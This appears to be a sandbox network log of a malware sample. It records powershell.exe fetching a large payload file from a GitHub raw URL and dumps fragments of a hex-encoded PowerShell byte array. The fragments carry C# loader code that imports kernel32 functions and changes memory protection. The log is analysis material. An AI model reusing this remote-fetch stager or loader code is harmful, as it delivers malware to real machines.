2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 45 2c 20 30 78 30 30 2c 20 30 78 35 41 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x20, 0x00, 0x28, 0x00, 0x68, 0x00, 0x4D, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x2E, 0x00, 0x5A, 0x00, 0x
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x50, 0x00, 0x74, 0x00, 0x72, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00,
2024-09-16 17:24:30 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 35 2c 20 30 78 30 30 2c 20 30 78 37 38 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 Data Ascii: x00, 0x20, 0x00, 0x20, 0x00, 0x74, 0x00, 0x68, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x20, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x20, 0x00, 0x45, 0x00, 0x78, 0x00, 0x63, 0x00, 0x65, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	51649	185.199.109.133	443	7768	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-16 17:24:30 UTC	226	OUT	GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: raw.githubusercontent.com Connection: Keep-Alive
2024-09-16 17:24:31 UTC	903	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18622545 Cache-Control: max-age=300 Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandbox Content-Type: text/plain; charset=utf-8 ETag: "7212ed35f7de22eefebda6e2e6a140882d785593e9f94a152721678af4a1b44c" Strict-Transport-Security: max-age=31536000 X-Content-Type-Options: nosniff X-Frame-Options: deny X-XSS-Protection: 1; mode=block X-GitHub-Request-Id: 6E0F:35A178:D4081:E7F9A:66E869CE Accept-Ranges: bytes Date: Mon, 16 Sep 2024 17:24:30 GMT Via: 1.1 varnish X-Served-By: cache-nyc-kteb1890036-NYC X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1726507471.743871,VS0,VE243 Vary: Authorization,Accept-Encoding,Origin Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin X-Fastly-Request-ID: 036f5678ee860faa2f03896530e8d7d5348c8c33 Expires: Mon, 16 Sep 2024 17:29:30 GMT Source-Age: 0
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 24 62 79 74 65 73 20 3d 20 40 28 30 78 32 34 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 30 2c 20 30 78 30 30 2c 20 30 78 32 32 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 35 33 2c 20 30 78 30 30 2c 20 30 78 37 39 Data Ascii: $bytes = @(0x24, 0x00, 0x53, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x72, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x3D, 0x00, 0x20, 0x00, 0x40, 0x00, 0x22, 0x00, 0x0A, 0x00, 0x75, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x53, 0x00, 0x79
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 36 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 39 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 46 2c 20 30 78 30 30 2c 20 30 78 Data Ascii: 0x73, 0x00, 0x73, 0x00, 0x20, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x20, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x69, 0x00, 0x74, 0x00, 0x79, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00, 0x2F, 0x00, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 Data Ascii: 0, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x20, 0x00, 0x64, 0x00, 0x65, 0x00, 0x63, 0x00, 0x6C, 0x00, 0x61, 0x00, 0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, 0x73, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 45 2c 20 30 78 30 30 2c 20 30 78 36 31 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 39 2c 20 30 78 30 30 2c 20 30 78 33 42 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 30 41 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 Data Ascii: x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20, 0x00, 0x70, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x29, 0x00, 0x3B, 0x00, 0x0A, 0x00, 0x0A, 0x00, 0x20, 0x00, 0x20, 0x00, 0x20, 0x00
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 30 30 2c 20 30 78 34 34 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 44 2c 20 30 78 30 30 2c 20 30 78 37 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 34 42 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 33 33 2c 20 30 78 30 30 2c 20 30 78 33 32 2c 20 30 78 30 30 2c 20 30 78 34 43 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 32 2c 20 30 78 Data Ascii: 0x00, 0x44, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x49, 0x00, 0x6D, 0x00, 0x70, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x74, 0x00, 0x28, 0x00, 0x4B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x65, 0x00, 0x6C, 0x00, 0x33, 0x00, 0x32, 0x00, 0x4C, 0x00, 0x69, 0x00, 0x62, 0x
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 45 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 37 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 43 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 Data Ascii: E, 0x00, 0x65, 0x00, 0x77, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x74, 0x00, 0x65, 0x00, 0x63, 0x00, 0x74, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x6F, 0x00, 0x75, 0x00, 0x74, 0x00, 0x20, 0x00, 0x75, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x20, 0x00, 0x6C,
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 78 34 37 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 33 2c 20 30 78 30 30 2c 20 30 78 34 31 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 37 33 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 37 32 2c 20 30 78 30 30 2c 20 30 78 36 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 36 37 2c 20 30 78 30 30 2c 20 30 78 32 30 Data Ascii: x47, 0x00, 0x65, 0x00, 0x74, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x63, 0x00, 0x41, 0x00, 0x64, 0x00, 0x64, 0x00, 0x72, 0x00, 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x28, 0x00, 0x73, 0x00, 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x20
2024-09-16 17:24:31 UTC	1378	IN	Data Raw: 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 32 38 2c 20 30 78 30 30 2c 20 30 78 36 38 2c 20 30 78 30 30 2c 20 30 78 34 44 2c 20 30 78 30 30 2c 20 30 78 36 46 2c 20 30 78 30 30 2c 20 30 78 36 34 2c 20 30 78 30 30 2c 20 30 78 37 35 2c 20 30 78 30 30 2c 20 30 78 36 43 2c 20 30 78 30 30 2c 20 30 78 36 35 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 33 44 2c 20 30 78 30 30 2c 20 30 78 32 30 2c 20 30 78 30 30 2c 20 30 78 34 39 2c 20 30 78 30 30 2c 20 30 78 36 45 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 30 78 30 30 2c 20 30 78 35 30 2c 20 30 78 30 30 2c 20 30 78 37 34 2c 20 